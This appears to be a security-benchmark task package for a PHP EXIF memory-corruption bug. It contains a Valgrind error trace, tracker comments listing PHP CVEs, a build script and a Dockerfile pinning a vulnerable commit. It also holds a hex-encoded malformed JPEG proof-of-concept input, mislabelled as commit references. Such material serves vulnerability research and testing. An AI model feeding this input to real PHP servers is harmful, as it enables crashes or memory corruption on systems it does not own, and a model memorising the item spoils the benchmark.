==29770==    by 0x652772: ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER (zend_vm_execute.h:690)
==29770==    by 0x608DB7: execute_ex (zend_vm_execute.h:55334)
==29770==    by 0x608F0F: zend_execute (zend_vm_execute.h:60881)
==29770==    by 0x5C6A63: zend_execute_scripts (zend.c:1568)
==29770==    by 0x5672D6: php_execute_script (main.c:2630)
==29770==    by 0x67BE92: do_cli (php_cli.c:997)
==29770==    by 0x67B049: main (php_cli.c:1389)
==29770== 
==29770== 
==29770== HEAP SUMMARY:
==29770==     in use at exit: 0 bytes in 0 blocks
==29770==   total heap usage: 7,157 allocs, 7,157 frees, 1,606,143 bytes allocated
==29770== 
==29770== All heap blocks were freed -- no leaks are possible
==29770== 
==29770== For counts of detected and suppressed errors, rerun with: -v
==29770== Use --track-origins=yes to see where uninitialised values come from
==29770== ERROR SUMMARY: 170 errors from 22 contexts (suppressed: 0 from 0)

Comments:

[Comment 3] [2019-07-27 15:13 UTC] orestiskourides+php at gmail dot com
email

[Comment 4] [2021-08-04 09:24 UTC] 978297127 at qq dot com
1   PHP 资源管理错误漏洞(CVE-2019-11049)
2   PHP 缓冲区错误漏洞(CVE-2019-11040)
3   PHP 输入验证错误漏洞(CVE-2019-11039)
4   PHP 缓冲区错误漏洞(CVE-2020-7065)
5   PHP 安全漏洞(CVE-2019-11044)
6   PHP Session Upload Progress 代码问题漏洞(CVE-2020-7062)
7   PHP 缓冲区错误漏洞(CVE-2020-7067)
8   PHP exif_process_user_comment()缓冲区溢出漏洞 (CVE-2019-11042)
9   PHP exif_scan_thumbnail()缓冲区溢出漏洞 (CVE-2019-11041) 
10   PHP EXIF extension 缓冲区错误漏洞(CVE-2019-11047) 
11   PHP EXIF extension 缓冲区错误漏洞(CVE-2019-11050) 
12   PHP 缓冲区错误漏洞(CVE-2020-7061) 
13   PHP 安全漏洞(CVE-2019-11045) 
14   PHP 缓冲区错误漏洞(CVE-2020-7064) 
15   PHP 输入验证错误漏洞(CVE-2020-7070)
16   PHP GD Graphics Library 输入验证错误漏洞(CVE-2019-11038) 1
17   PHP 安全漏洞(CVE-2020-7063) 
18   PHP 安全漏洞(CVE-2020-7066)

Commit References:
3030303030303030303030ffc000113030303030
3030303030303030303000fffe00103030303030
ffd83000103030303030303030303030303030ff
303030303030303000ffe102994578696600004d
30303030303030303030303030303030ff300084
3030303030303030303930303030303030303030
49434f4445003030303030303030303030303030
30303030303030303030303030ff300084303030
3030303030483030303030303030303030303030
3030303030303030303030303030303030303030
3030300002020100040000000100000086020200
fe000e303030303030303030303000fffe000e30
04000000010000000430303030ffd8ff00027fff
2692860002000000300000004f00000068303030
3030303030000430303030303030303030303030
4d002a0000000800028298000200000030000000
3030303030303030303030303030303030303052
303030303030303030303030303030303030554e
30303030303030ffc00030303030303030303030
3030303030303030303030303030303030ffda00
03303030303030303030ff3000043030ff30013f
3030303030303030303030303029303030303030
3030303030303030300400303030303000303030

Build script:
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./buildconf --force
./configure \
        --enable-option-checking=fatal \
        --without-libxml \
        --disable-dom \
        --disable-simplexml \
        --disable-xml \
        --disable-xmlreader \
        --disable-xmlwriter \
        --without-pear \
        --enable-exif \
        --disable-phpdbg \
        --disable-cgi \
        --enable-mbstring
make -j$(nproc)

Dockerfile:
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool bison re2c make ca-certificates curl xz-utils dpkg-dev file libc-dev pkg-config libcurl4-openssl-dev libedit-dev libsqlite3-dev libssl-dev zlib1g-dev chrpath
RUN git clone https://github.com/php/php-src php-src
RUN git -C php-src checkout c34895e837b50213c2bb201c612904342d2bd216
WORKDIR $SRC/php-src
COPY build.sh $SRC/

Additional files:
filename: cosmic.list
content: deb http://archive.ubuntu.com/ubuntu/ cosmic universe


filename: runtime.options
content: [libfuzzer]
detect_leaks=0